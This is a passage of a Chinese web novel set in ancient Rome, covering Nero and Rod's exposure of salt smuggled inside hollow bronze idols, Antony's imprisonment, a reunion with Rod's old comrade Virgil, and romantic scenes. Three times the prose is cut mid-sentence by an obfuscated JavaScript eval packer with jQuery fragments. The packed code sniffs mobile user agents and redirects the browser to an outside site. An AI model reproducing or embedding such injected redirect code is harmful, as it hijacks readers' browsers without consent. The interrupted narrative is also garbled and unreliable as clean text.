尼禄又观察一会,没能发现任何问题。他默默地向罗德抛了个眼神。
罗德扫视过空荡荡的甲板,问道:“所有的铜像都搬下来了吗?”
“是的……”船长支支吾吾地应道,“都搬到岸上了。”
罗德踱几步,用靴子敲了敲甲板,传出闷闷的声响。他的眼神因为思考而凝滞一瞬间,接着就露出一个豁然的表情。
“把甲板打开。”他说,“我要看看甲板下面还装着些什么。”
50. 私盐的揭露
甲板打开时,一股金属味的、沉闷的潮气弥漫开来。
神明模样的铜像成排摆放在甲板下,铜像头顶因为受潮而长出象癞疮一样的铜锈。
船壳里积攒一小层海水,游走于铜像脚下,随船只的摇晃而来来回回地流动,象一只在伸缩触手的、阴暗的章鱼。
“为了节省空间,我们只能把一部分货物放进船壳。您知道,铜制神像在罗马一直都供不应求,再大的船只都不够装……”船长虚弱地说。
罗德蹲下,眼睛缓慢扫过兵马列队般的铜像,伸手抓出一只,带出一阵腥咸的气味。
船长屏住呼吸,颤抖的眼珠在肿眼泡下移过去,嘴唇泛起宛如死鱼肚子一样的青白色。
罗德掂量铜像的重量,皙白的手指沿着神像衣决抚摸下去,忽然摸到一片绵软的晶粒。他的动作忽然顿住。
船长的五官惊恐地抖动着,象要挣扎似的从脸上逃离出去。
“这座神像格外的重,”罗德带着玩味的笑,眼睛注视着挣扎中的船长,讥讽道,“它是个脑满肥肠的神。”
他拭去晶粒,在火光之下展示出来。他的手掌因沾满晶粒而显得亮亮的,指尖因为寒冷而冻得发红。
尼禄一动不动地看着罗德尖细的手指,银白的刘海被海风吹得乱动、扫过他敏感的眼睫,他也不眨眼睛。仅仅是罗德的边边角角都能让他目不转睛。
罗德不说话,慢悠悠地站起身,静止的眼瞳显得有些诡谲。他背后就是在天海的夹缝中生长的暗红色夕阳,象一道干涸了的血迹。
船长的面色越来越白。在这种无声的诘问下,他终于承受不住,双腿绵软地跪倒在甲板上,趴着身体说:“噢……我发誓我只是奉命行事……”
罗德绷起脸,将铜像翻过来打开底座。
空心铜像里塞着满满的食盐。因为受潮,盐粒结成大小不一的硬块,有生锈的铜掺进去,呈现一种怪异的蓝绿色。
这是他曾经在军营里领过的军饷。
“居然把食盐装在空心神像里走私进城……”罗德将沉甸甸的铜像一把甩到尼禄怀中,“你的罗马已经从军队腐烂到宗教了。”
船员们统统跪伏在船上,带头的船长跪趴着,身体大幅度地抖,好象他全身的骨架都已经松动、开始自由游离。
尼禄捧住铜像,抓起一块坚硬的盐块,将这种蓝绿色晶粒捻搓在手上。
他轻轻闻一下,刺鼻的气味生生刺进鼻腔。他嗅到这股似乎充满毒素的气味,金棕色的眼睛微微眯起,紧接着就象要捕猎一样猛然睁大。
“原来这就是怪病的源头……”尼禄缓慢地说,面目在即将逝去的斜阳之下显得阴暗不明。
他在思索之中,唇齿象厮磨一样,慢腾腾地挪动:“那些病人吐出来的秽物,就是这个颜色……”
“倒卖私盐的商贩是要被判处极刑的。”罗德以没什么感情的口吻说。
他的脑海里浮现起一张娘娘腔的脸孔——涂脂抹粉的安东尼在微笑,这个微笑是皮肉与脂肪相互挤压出来的产物,漂浮不实的样子,就象浮在菜汤上的菜油一样,既虚晃又油腻。
这是贯穿前世今生的冤家、或许也是预言中让尼禄失去一切的人。
“安东尼终于要倒霉了,这次谁都袒护不了他。”罗德神色恍惚地说。
“不仅是安东尼,还有他的兄长门希,甚至整个奥托。”尼禄笃定地说,“这个家族一直都在与我作对。”
罗德笔直地站着,海风很柔润,象水珠一般摔打在他的耳边。他对这个突如其来的喜讯掺杂着不详的预感;然而从前世就继承下来的紧绷渐渐松弛,象强弩之末,一种可称为侥幸的情绪逐渐晕染开来。这一刻的他如释重负,而这喜讯太过猝然,以至于他觉得虚幻,眼前一切景物都象剥离掉的壁画一样既真实存在却又无效。
罗德凝视着天边那道即将消弭的夕阳,眼神有些虚无,“没想到……”
他的言语象中箭之鸟一样半途掉落了。
尼禄侧过脸问:“没想到什么?”
罗德停顿片刻,以沉稳的口气说:“没想到我们的仇敌这么快就覆灭了。命运这么容易就放过了我们,你不觉得这很奇怪吗?”
“这并不值得惊奇,罗德。”尼禄轻松地说。他对于命运过于放松,以至于连微笑都有些狂妄的意味。“我连你都能拥有,那么我再怎么被命运之神眷顾,都不会受宠若惊。”
这时脚边传来一阵惊动。两人循着声音往边上看去。
船长因为过度紧张而呕吐起来。他匍匐着,脊背象抽筋一样攒动。
尼禄嘴角轻轻弯起,微微垂首,眼窝中形成一片阴影,一副似笑非笑的样子。生而带来的邪恶气质,与他现在的邪笑惊人地重叠了;他的眉眼和骨相最适合做这种表情,好象只有邪笑时的他才最是尼禄本人,其他表情不过是一种对本性的掩饰罢了。
尼禄走到船长旁边,冷笑道:“凡是贩运私盐的罪犯都会被剥下脸皮,再血淋淋地挂到眼前。他们将对着自己的脸皮忏悔到死。”
船长吓得抽搐几下,紧接着就一头杵在甲板上,昏死了过去。一旁的船员不敢动弹,全部噤若寒蝉。
罗德扫过他抑制不住笑容的脸:“你何必开玩笑吓唬他。”
尼禄看向罗德的眼里透着一种无辜。这是一种纯真而恶性的无辜。
“我没有开玩笑。”他诚恳地说,“他们就是要这么死。”
……
祸乱全国的私盐案终于告破。
法院派专员去印度,查出上百张私盐合同,上面无一例外地盖着安东尼的印章。
安东尼从事私盐买卖已经很久了。之前位居军职时,他甚至贪污官盐、以私盐充数发过军饷。当初,这件事被他的兄长门希以重金封口而压制下来,如今又因法院的调查而昭然于世。
私盐的流通造成大范围的疾病,无数人因为食用掺杂铜锈的食盐而痛苦死去。
贪污、疫病、贩运私盐,这些罪恶一时间全部算在安东尼头上。他很快就被逮捕入狱。
秋冬之际,天井里结一层脆弱的薄冰。罗马人开始挖掘地窖,为制作昂贵的冰块做准备。他们还在大理石墙壁上涂满厚厚一层树脂,这样能起到防风的作用。
尼禄踩着奴隶的后背跳下马车。他刚从法院回来,披着深色的红袍,额发沾了秋露,潮乎乎地耷拉在眉眼上。他搓了搓冻得通红的手,热息象白烟一样从他的口鼻溢出。
奴隶出来迎接他,跪下来揩去沾在他鞋边的枯草。
罗德拿着剑站在庭院中央。他戴着黑指套,用麻布擦掉剑上的冰渣。
银亮的剑锋一翻转,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239667|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就在剑刃上看见尼禄的身影。这身影嵌在剑身中央,色泽过于浓烈,几乎会把剑刃截断。
他从陶罐里抓一小把盐、灌进剑鞘。目光没怎么在这抹红影上停留。
尼禄在飘着薄荷叶的温水里洗了手,很快走过来。
“你在做什么?”他问。他的面颊红红的,嗓音有透支过后的嘶哑。
“在剑鞘里放些盐,这样剑就不会被冻在剑鞘里。”罗德说,“关键时刻拔不出剑可是致命的。”
他将视线移过尼禄的脸庞,在经过那对深金色的眼睛时停顿一瞬间,又疾速地瞥过去;于是那一瞬间不过是他的施舍。他的柔情就是这样表现的,就象一只不怎么爱理人的猫,在以一种屈尊纡贵的方式朝他的主人示好。
“你的声音很嘶哑,”罗德平稳地说,“就象在用一只被烘干的嗓子在说话。”
尼禄急匆匆灌掉奴隶端来的温水,“我在法院辩论了一上午……”
他将丝帕叠得方方正正,优雅地擦去嘴角的水渍,“我竭尽口才,就是为了给奥托加刑。”
罗德盯着他沉暗的眼眸说:“安东尼的死刑已经板上钉钉了。”
“只他一个人并不够。”尼禄说,“我更想借这个机会除掉他的兄长,乃至他们整个家族。”
他掸直丝帕折皱的地方,“比起安东尼那个沦为商人的男妓,手握兵力的门希才真正值得我的忌惮……”
“法院怎么处置他?”罗德问。
“削去他的军职,剥夺他的家产。”尼禄说,“他直接从元老堕落为平民,财产被削减到十万赛斯特斯,连身份低微的骑士都可以藐视他。”
“仅仅是平民吗?”罗德蹙起眉,疑惑道,“他默认并包庇他弟弟的罪行,至少应当被贬为奴隶。”
“按法律本该如此。”尼禄阴沉地说,“但他早年为卡里古拉出生入死,北部有两个行省还是他带兵收服的,他在军队中享有威望。”
罗德想了想说:“这么说来,他还是有些能力的。”
尼禄褪下长袍,由奴隶替他换上柔软的便服,点头说:“虽然我讨厌他,但不得不承认,他对于行军作战很有一套。而且……”
他尚为稚气的眉眼蒙上一层隐忧,“他还很能拼命。据说他在行军时曾被日耳曼人的剑戟碾碎了脚踝骨。在医生赶来之前,他居然扒开伤口,自己用手取出碎骨。”
罗德按剑的姿态有一丝僵滞,眼底显有微弱的惊讶。
尼禄瞄他一眼,胳膊幽幽地抬起,悄无声息地揽住他的腰。
“不用担忧。”他凑近一些说,“门希失去了兵力和财产,就象一只被砍掉利爪的老虎。奥托这个姓氏将从罗马的贵族中永远消失。”
罗德半睁着眼睛,斜看向尼禄,以惯常自持的、警惕的语气说道:“一个敢徒手撕开自己血骨的人,是绝对不会坐以待毙的。”
他的脸庞其实没什么表情,居然显出一种睥睨的神态。尼禄直勾勾盯着他的侧脸,于一刹那便从现实中抽离,进入一种绝对感性的迷恋里。
刀剑的寒光照映罗德微弓的鼻骨。他鼻梁的形状很美好,既精致又立体,浓重的男性气质直逼而来。
这一瞬间的尼禄思想游离。
尽管他向来鄙夷宗教,但他此刻就想单膝跪地,向罗德行使纯粹异教式的膜拜。
51. 故事的结局
安东尼被投入监狱已经有些时日。
由于犯下重罪,他与其他犯人隔离开来,单独蜷缩在一个封闭的狱室中。
狱室不过一臂宽,只有半人高,唯一一个巴掌大小的窗口还上着锁,只有在投递餐食时才会打开。
与其说是狱室,不如说是一处适合蛇鼠冬眠的巢穴。
在这样逼仄的空间下,安东尼无法坐和站立,只能侧躺着屈着腿。
他受了几次鞭刑,破烂的皮肤每时每刻都浸泡在血液和粪便中。这种被污秽物慢慢渗透身体、最终腌渍成蛆虫的食物的感觉,让他几近崩溃。
奴隶踩着铁靴走来,用钥匙打开小窗,里面露出半张脏臭、污迹斑斑的脸。
“给我光……”安东尼嗫嚅道,“我不要水也不要麦片粥,只想要一点光……可以吗……”
他将干裂的嘴伸出小窗,以几乎能榨干所有肌肉的力气大口呼吸,发出哨子一样的声响。
奴隶屏着呼吸,飞快地给他喂几口水,不耐烦地说:“有人来看你了。”
“谁?谁来看我?!”安东尼猛地缩回嘴,手从污泥里抬起,指甲在小窗的边缘乱划。
他极力压低下巴,瞪着一双裹满泥泞和眼屎的蓝眼睛,拼命从窄小的窗口往外望。
奴隶面带细微的怜悯,朝身后指了指。
一个浑浊的身影出现在他浑浊的视野里,象漂浮在污水中的一团杂草。
安东尼先是迷惑地呆住,五官都静止在脸上,象在努力接受一个崭新的人种。很久之后,他那残留着鼻影的鼻翼抖动两下,眼泪随即象黏液一样爬满整张脸。
“噢……是我的哥哥……”安东尼哽咽道。
他浸泡在粪尿之中的双腿似乎恢复知觉,早就僵死的关节好象又能转动了。他象一个被使者接引去神界的临死之人,以全部的信仰和灵魂去感激这一刻。
门希穿着不过膝盖的短袍,原本挂满宝石的脖子和手指如今都是光秃秃的。他的额发凌乱地挡在眼前,这段时间的暴瘦让他面部凹陷。
他家财尽失,整个人都散发着破败的气质,只有从交握在小腹前的双手才能看出他长久保持的贵族姿态。于是他的气质,好象是被磨旧了的、踩烂了的贵妇的裙摆。
他从阴暗的小窗里只能看到安东尼的下巴。
“天哪!我可怜的安东尼……”他尖叫道。
门希跌跌撞撞地走过去,跪坐在小窗前,勉强把手塞进小窗,去摸安东尼的脸。狭小的窗口几乎卡住他的手腕。
动弹不得的安东尼歪过脸,狂乱地亲吻他的手,叫喊道:“我简直忘记了我还活着的事实……哥哥……你的到来让我醒悟到原来我还是人,而不是一条人形的蛆……”
门希泣不成声:“谁能想到最下等的监牢里会关着一位穿托加的贵族!我可怜的弟弟!”
安东尼悲愤地尖叫:“噢……那些该死的狱卒还往我身上扔蛇和老鼠……我受够了……受够了!”
很久没有见过光明的安东尼紧盯从窗口泄进来的光,费尽全力从那点狭小的视野去看他的兄长。他极尽眼力,双腿不自觉地蹬踹墙壁。他挣扎的样子,就象搁浅的鱼在垂死时用鱼身拍打沙滩那样。
“你怎么样……哥哥……”他扭曲着身体问。
“我被剥夺了几乎全部的财产,安东尼……我被剔除了贵族资格,失去所有的兵权,仅剩的那点钱财还不够买一个洗脚奴!”
安东尼急忙问:“那我们的土地呢?”
“哦……”门希悲愤欲绝,“当然是全部充公!克劳狄乌斯打算用我的土地建妓院和浴场……那个阴险的瘸子最乐意借别人的钱壮自己的脸面!他喜欢看见我倾家荡产!我发誓,他绝对喜欢!”
安东尼用额头猛撞窗框,叫喊道:“噢!人真是卑贱的东西,没有不能忍受的事……”
兄弟两人相互诉苦,就象两条喷着污水的下水道。
安东尼别过脸,一侧耳朵顺势泡在有蛆虫蠕动的血污里。
“我想活下去,哥哥……”他哭泣道,“我本来以为如果有一天我沦为平民,我就会有尊严地结束自己低贱的生命。然而当我和一帮虫鼠同住、在粪尿和血污中苟延残喘,我才无比明白人的尊严其实能无限折损下去!就算我的身躯满覆鄙夷和痰液,我都不想死……”
门希将额头抵上窗框,里面传来的异味熏得他直流眼泪,“我不会让这一切继续下去的,安东尼……我要救你……”
他本能性地掩住鼻子,“我要救我们……”
安东尼咳了两声,费力地说:“你打算怎么办?”
门希瘫坐在地上。
他的金发已经失去光泽,白发象偷生的菌丝一样占据他整个头顶。他其实很象骨头和皮肉组成的一具静物,他的呼吸不过是被迫让渡一口空气而已。
“积累财产和土地,让我们的资产重新达到四十万赛斯特斯。”门希说,“恢复贵族身份是当务之急。”
安东尼在黑暗中象吐出黑泥一样吐着字:“可我们剩的钱连奴隶都买不起,更别说购置土地了……罗马城内哪怕仅仅一罗尺土地,都抵得上十车黄金……”
“我会想办法借钱。”门希不为所动,“我担任过祭司,也担当过将军的职位数年,就算没了钱,手里的人脉也够我吃喝一段时间……”
“哦……”安东尼在污泥里滚动着脑袋,“那点救济只是暂时的……贵妇们需要钱去买昂贵的孔雀蓝眼影,丈夫们需要钱去养活一批能吃好战的角斗士。贵族其实是全罗马最缺钱的人……”
门希的指尖在颤抖。他激动地说:“我总该想点办法的,我要改变现在的境况。就算不了改变,我总要做些什么……噢!就让我去做点什么吧!”
安东尼沉默起来。他在逼仄的空间里蠕动一下双腿,象一只被困在壳里的虫子。
“好,我等你救我出去……”他哭喊道。
……
深冬,罗马城下了大雪。罗马人极其珍爱不常降临的雪,他们坚信雪有药效,会将雪水添加到食物中,将雪捏成各种形状摆在神龛里供奉。天气很寒冷,又很潮湿,空气象四处流走的冰水。
尼禄捧起一张干巴巴的羊皮纸,走过焰色明亮的壁炉,来到满布水雾的玻璃窗前。
外面的雪色透过玻璃映进来,他的银发反射出类似透明的亮色,仿佛结满一头冰晶。
“那个故事的结局就刻写在这张羊皮纸上。”尼禄说,“还记得和女妖相爱的米诺斯吗?”
罗德瞥他一眼,继续啃手里的苹果。他只穿一条松松垮垮的长裤,赤|裸着上身靠在壁炉一边。他的裤脚被壁炉里的火风吹得摆动。
“念。”他语气短促,下命令似的说道。
罗德的头发浓黑,嘴唇仿佛肉感玫瑰一样红得浓烈。他身体上的一切颜色都是张扬而外显的,包括他白皙到令人眼前一亮的皮肤。
尼禄吹掉纸上的灰尘,微笑着念道:
『身负神力的王子和臭名昭著的女妖相爱。为了女妖,米诺斯甚至与父母决裂。
王国内乃至周边邻国议论纷纷,所有人都在攻讦。米诺斯被定义为“令神明失望和愤怒的浪费神力之人”,他的口碑从万人追捧降至人人喊打的地步。
在全国上下的讨伐声中,米诺斯带着女妖住进镜子别墅,过起隐蔽的日子。
为了让女妖过上正常人的生活,米诺斯想出一个方法:将她的眼睛取下,再将自己多出的一对眼珠给她。
然而,诅咒并没有随着眼睛的摘取而消失。
换上米诺斯的眼睛后,女妖尝试着睁开眼睛,负责给她换眼的医生立刻变成一樽石头。
她的眼睛仍能使所见之人石化。
换眼术的失败,使米诺斯受到更严厉的谩骂,哪怕是奴隶都在偷偷嘲笑他的糊涂和固执。气极的国王夫妇挟以王位,逼迫他立刻杀死这个不详的女妖。
就在舆论的压力达到顶峰时,女妖为了维护米诺斯的王位,命令护卫割掉了自己的头颅。』
尼禄停顿一瞬间,捏着纸边的手指抖动一下,继续念道:
『米诺斯得知女妖自尽后赶来。他发疯似的大喊大叫,不久前才摘取眼球的眼眶流出血泪。他狂笑着,大哭着,撕扯自己的头发,扯掉缠住眼睛的丝绸,抱住她已经冰冷的头颅。
半疯癫的他看到女妖半阖的眼睛,不顾一切地吻上去。在双唇贴上去的那一刻,他瞬间变成了石头。
正如神谕所言,他最终死在自己的眼睛之下。』
罗德停止啃苹果的动作,一双黑眼睛冷冷望过来。他的眉毛有下撇的倾向,使他看上去有一点悲悯的神色。
尼禄抬起眼梢,与这对黑眼睛对视。视线相交的这一瞬间,他忽然产生一种界于故事和现实之间的宿命感。他预感到自己要经历极大的甜蜜,和极大的哀伤。
罗德将苹果核准确地丢进垃圾桶。他抱着双臂,半闭着眼睛,一副不把任何事放在眼里的姿态,凝结在瞳仁上的微光在眼缝间跳舞。
“我们回去吧。”他说,“这故事听着让人烦躁。”
铺天盖地的雪几乎要湮灭一切。两人走在山顶上,雪厚得没过他们的脚踝。在这片纯白到可怖的雪景里,罗德一步一抬脚地走着,眉眼间泛出潮湿的气氛。
尼禄跟着他走,从眼角望他。在远方起伏的、灰褐色的山脊背景间,罗德的红唇轮廓鲜明,显示出一种希望的意味。
罗德走到山顶边缘,一只脚踩在石块上,微微俯下身,望着山下说:“山下的水涨得更高了。”
尼禄拍打沾在裤脚的雪粒,在冷天里长久行走让他胸闷。他的呼吸加重到轻喘的程度,鼻间呼出一团团白雾。长期保持的贵族礼仪使他再憋闷,都不愿用口呼吸。
他顺着罗德的视线望去。
巨大的雪层堆积在水面上,慢慢移动着,象一块块漂移的海草。不时有雪块沉入水中。
“大雪加重了洪灾的状况。”尼禄说,“就是这场洪水让我背负巨债。既然冠了名,就要负责被毁建筑的维修和重建。”
罗德放下腿,坐在厚实的雪地上。他拨开堆积的雪层,从草坪上捻掉一株青草。
“那些债,你还了多少?”他问道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239668|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
尼禄紧挨着他坐下,“分文未还。我的母亲从未向我催过债。”
罗德勾起一侧唇角,舒了一口气说:“她还是爱你的。”
尼禄的眼神变得阴暗起来,垂下头说:“她并不爱我,她只是为了维护我的姓氏罢了。”
罗德手里捻着青草,饶有兴致地瞥看他,“不管她出于什么目的,她都是可以保护你的人。不要伤害她,尼禄。”
尼禄点点头,遮挡在眉目前的刘海晃荡着。浅黄的雀斑分散在他的鼻骨和眼睑下方,在苍白的皮肤上十分显眼。
“我会的。”他从发绺间看向罗德,“我答应过你。”
两人从山上走下来,绕过被洪水淹没的区域,进入等候多时的马车。
车夫坐在车板上驱着马,马车在雪地里缓慢移动,路过一排秃掉的沙棘树。雪地上顿时出现两排笔直的车辙,夹在中间的就是弯弓形的马蹄印。
罗德掀开车窗的纱帘,在悬吊着一圈红水晶的车盖下,望见枝桠间的天空。他套紧自己的黑手套,从枝桠上抓起一把雪,回过身拍在尼禄脸上。
尼禄懵住,不知所措地摸了摸自己的脸。他的声音带一些年轻之人独特的鼻音,几乎是怯生生望着罗德说:“我做错什么了吗?”
他懵懂地望着罗德,鼻尖、鬓发和脸颊全部沾上雪粒,在烧着暖炉的车内瞬间化成水。他的嘴唇没有血色,隐藏在雪水里仿佛落单的枯草。
罗德收起开玩笑的表情,瞧见他色泽不健康的双唇,突然意识到,尼禄不是故作清高或者不合群,而是骨子里习惯了寂寞。
“过来。”他说。
他一边盯着尼禄的眼睛,一边往后躺倒在沙发上。他的黑头发在丝绸上散开来。
尼禄会意,也将身体覆上去,冻得鲜红的双手支撑在罗德的两鬓旁边。
他低下头,去舔罗德的双唇,用舌尖来回描绘他的唇形,再从唇缝间顶入,最终与罗德的舌头交缠在一起。他咬他的舌尖和下唇,力道越来越重,再接着往下,象动物间用舔舐去表示友好那样,去舔他的脖颈。
“我不能再满足于只是跟你接吻了,罗德……我受够了……”他趴在罗德身上,穿着粗气,眼睛里有情|欲导致的雾气,“我想脱你的衣服,想抚摸你的肌肤……我想和你尝试禁|书上的一切姿势……可以吗?”
罗德明显地愣一下,接着笑道:“你什么时候看的禁|书?”
“很久之前了,那时你还把我当成一个小孩……”尼禄凑近他的耳边,急促地说:“我偷偷买来一些不宜在日落前看的书,里面的每一张图……我都换成你的脸幻想过……你启蒙了我的一切……”
罗德笑出声,抬手揉了揉他潮湿的卷发,“可以。”
尼禄将额头贴上去,他们额头相抵。
“真的吗?”他沉重地呼吸着。
“真的,就今天。”罗德认真地说,“不过得按照你们贵族的规矩,日落以后。”
尼禄用鼻尖去蹭罗德的鼻尖。他解开罗德的腰带,手从松开的下摆伸进去,很顺利地摸到罗德的腹部。他的指尖顺着腹肌的线条一路摸上来,不时去按压一下,感受肌肉的硬度。很快,他的手探到胸膛,那里有几道刀疤剑痕,凹凸不平的,自然有一种被施虐的意思。
罗德抓住他的手臂,“这是在马车上,车帘外还有人。”
尼禄环腰抱着他,意乱情迷地吻他的脖颈。他的心脏重击胸口,重到连罗德都能通过胸骨感受到这种撞击。
他晕头转向地说:“让……让我摸一会,我喜欢抚摸你……求你了……”
罗德推开他一点,将自己略显紊乱的喘息压制下去,轻声道:“回家再说。”
尼禄用嘴唇在罗德的脸上来回碾压,最终在他的面颊处咬了一口。
这时,马车忽然停住,昏昏沉沉的尼禄从沙发上滚了下去,肩膀冷不丁撞在拴着车帘的木柱上,发出咚的一声。
尼禄一下子就清醒了。
他有些愠怒,掀起车帘,朝惶恐之中的车夫训斥道:“凡是为皇室服务的车夫,都要保证人策马,而不是马策人。而你不仅违反了你的原则,还让你的主人摔出淤青。”
他压低声音,站得笔直,脸上是不近人情的神色。
车夫双膝下跪,胆怯地说:“前面有好几辆牛车经过,大人……为了不和它们相撞,我不得不这样。很抱歉……”
罗德闻言,从车里走出来,向前方张望。
一个商人打扮的男人赶着牛,拉着满满一车的干草堆。牛车后面还跟着几辆同样满载的牛车,由穿着鄙陋的奴隶在驱赶。
尼禄看着货物,问道:“他们是什么身份?载的是什么货物?”
“他们是商人,大人……”车夫说,“看样子,应该是运送燃料的燃料商。”
尼禄厉声说:“自罗马建国以来,没有王族的马车为商人的牛车让路的例子。”
罗德直直地盯着前方,突然象被什么冲击到了,喃喃自语地说:“维吉尔……”
“维吉尔?”尼禄不解情况,“谁是维吉尔?”
52. 初
这是一场故友的重逢。
罗德走过去,步子很快,最终拦在牛车前。
尼禄盯着他活跃的背影,以及留在雪上的两排越来越急的脚印,心里酸溜溜的。
他真的觉得,自己的生命就是靠这个酸酸甜甜的感觉撑起来的。
维吉尔握着鞭子,一颗轻飘飘的干草飞起落下,最终粘在他张开的嘴唇上。他长胖了不少,梳着商人标志性的油亮头发,脖子上戴着一圈浮夸的、镶嵌宝石的金项链。
他吃惊地瞪着罗德,大张的嘴唇颤抖着,胡言乱语道:“伟大的老天爷啊!该死的神明啊!我看见谁了……”
罗德将一只手搭上他的肩膀,拍了拍说:“你胖了很多,维吉尔。”
维吉尔激动得满脸通红,张牙舞爪起来,双脚象被烫了一样在地面上乱跺,“你这家伙……你这家伙……真没想到我们还会再见!”
他咧开嘴,露出一颗新镶的金牙,“你的样子一点都没变。”
他们先击掌,紧接着碰了下肩膀,进行了一个战友式的拥抱。
罗德扫过摆着尾巴的牛,以及车上堆得快要两人高的干草,思忖一会说:“你果然成为了一名燃料商,维吉尔。罗马的冬季让你大赚一笔吧?”
维吉尔拍了拍身后的货物,又拍了拍自己圆滚滚的胖肚子,“不算富得流油,只能说是衣食无忧。”
他转动着市侩气十足的圆眼睛,视线停留在罗德翻开的衣领上。
“不象你,我的老朋友……”他揪起罗德的丝质衣领,那里露出一截雪白的脖颈。
“你已经穿上丝绸料子的衬衣,这种料子哪怕只有一指长,都抵得上我身后的整车干草。更何况……”
维吉尔凑近一些,手指头反复磋磨着衣领,“料子还染上尊贵之人才能用的紫色条纹。我敢打赌,你已经找到了一个对你倍加宠爱的皇室主人……”
“那是当然。”尼禄不冷不热的声音传过来。
他拖着步子走过来,系着交叉绑带的皮质长靴沾得全是雪,一副闷闷不乐的样子。他的腰背挺得笔直,眼圈泛红,尖瘦的下巴象涌动一样颤抖。
“他的主人是我……”他口气不善地说。
后面牛车上的奴隶通通跳下车板,跪伏在地上。
维吉尔连忙松开手,嘴角窜起一丝机灵的笑。他挪着滚圆的肚子,非常灵活地跳下车,象一颗弹珠一样跳到尼禄脚边,白白胖胖的脸上堆起笑容。
“罗德的全身心都是您的财产,大人。”他精明地说,“以前他在满是泥土的军营时,就象普通贱民一样过着怀抱水罐、去下水道边盥洗的生活,作为他的战友,我见证过这些。而现在,他的双手可以在铜盆里清洗,衣领用了紫条纹的图案,他有资格饮用掺水的葡萄酒,饮食想必也有了鱼肉和鸟舌可以吃……是您赋予了他这一切。”
罗德笑笑:“你的油嘴滑舌让我怀疑你是一个顿顿吃夜莺鸟舌的人。”
尼禄的下巴停止抖动,脸色缓和些。他象卸下盔甲一样放松下来,僵白的脸庞逐渐有点血色。
“我接受你的言辞。”他不着痕迹地活动一下僵直的脖颈,抬头看一眼干草堆,“看样子你在退役之后成了一名燃料商人。”
“感谢您的好眼力!大人。”维吉尔谄笑道,“我接到大贞女的命令,这批燃料要在三天内运送到罗马城大大小小的神庙,以保证圣火昼夜不息!”
尼禄点头,板着脸说:“可以,你现在可以用侧脸贴我的脚背了。”
维吉尔受宠若惊。他激动地两眼光亮,这是一种超于金钱之上的自豪。
“噢!这真是我莫大的荣幸……”他用衣袖狠狠地擦干净脸,直到搓得两腮通红才小心翼翼地跪下,用胖鼓鼓的腮帮碰一下尼禄的皮靴。
罗德看见他这样自认低贱的样子,叹口气说:“维吉尔,你现在可以重新上路了,大贞女留给你的时间并不多。”
维吉尔规矩地起身,坐回车板上,冲罗德挑了挑形状圆润的眉毛。
他勾起一丝谄媚的微笑,“如果皇室的大人们需要购买燃料,希望您可以考虑我。”
尼禄象屈尊似的点一下头。
……
再次启程回到家宅时,已经入夜。奴隶在廊柱旁点燃火盆,将悬挂在柱顶的的摇铃摘下来。
罗德泡在半人高的木桶里,热水蒸得他面色红润。他靠在桶壁上,被浸湿的黑发贴在肩胛和前胸。他闭着眼睛,后脑勺抵在木桶边上,睫毛沾满水汽,看起来发白。
铜制烛台堆起一撮冷却的蜡油,烛火形成光团,象一只只气泡一样悬浮在盈满热汽的屋里。
罗德稍稍侧过脸,将潮湿的眼睛睁开一条缝,随即就有水珠顺着眼窝的线条流下来。
透过氤氲上升的热汽,他看到站在门口的尼禄。
尼禄穿着银线刺绣的睡衣,领口松松垮垮地敞到锁骨下方,一条砖红色的丝带系在他平坦的腰间。他刚洗完澡就跑下楼找罗德,头发还在滴水,后背洇湿一大片。
罗德透过细如线的眼缝看他,慵懒地说:“你下楼了?”
尼禄睁大眼睛,一眨不眨,凝视浴桶中的罗德。来自一侧的烛光,照透他眼睛的晶体,一下子到达那宛如火山口的棕黄色虹膜。
“我来找你……”他开口道,“中午时,你答应过我的。”
罗德挑起一侧唇角,轻笑道:“没有临幸下人,还要主人专门跑下楼的先例。”
“这不是临幸。”尼禄认真地说,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239669|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是来找我的爱人约会。”
他的认真感染罗德也正色起来。
罗德游到靠近尼禄的那侧桶壁,一只手臂曲起搭在桶边上。他把下巴压上肘弯,水湿的黑发贴到一半脊背。
“你太着急了。”他说。
尼禄的眼睛很亮,“我不想让你等。”
罗德先是将自己整个人淹没在热水里,再倏忽站直身体,洁白的双腿一跨,就站到羊毛地毯上。
他抬起手,将贴在前胸的发梢撩到背后,充分展露自己的胸膛。他一丝不苟,就这么自信地站着,丝毫没有羞涩的意思。
什么都不穿,身体没有遮挡,无形中有一种故意暴露弱点的意味。就象一匹凶猛的狼,为了表示友好,自愿翻背、露出柔软的肚皮。
“看着我,尼禄。”罗德发号施令一样说道。
尼禄朦朦胧胧地看见他白皙的、还挂着水珠的身体,脸瞬间涨红。他感觉很热,视野象熔化的蜡油一样晃动不停。
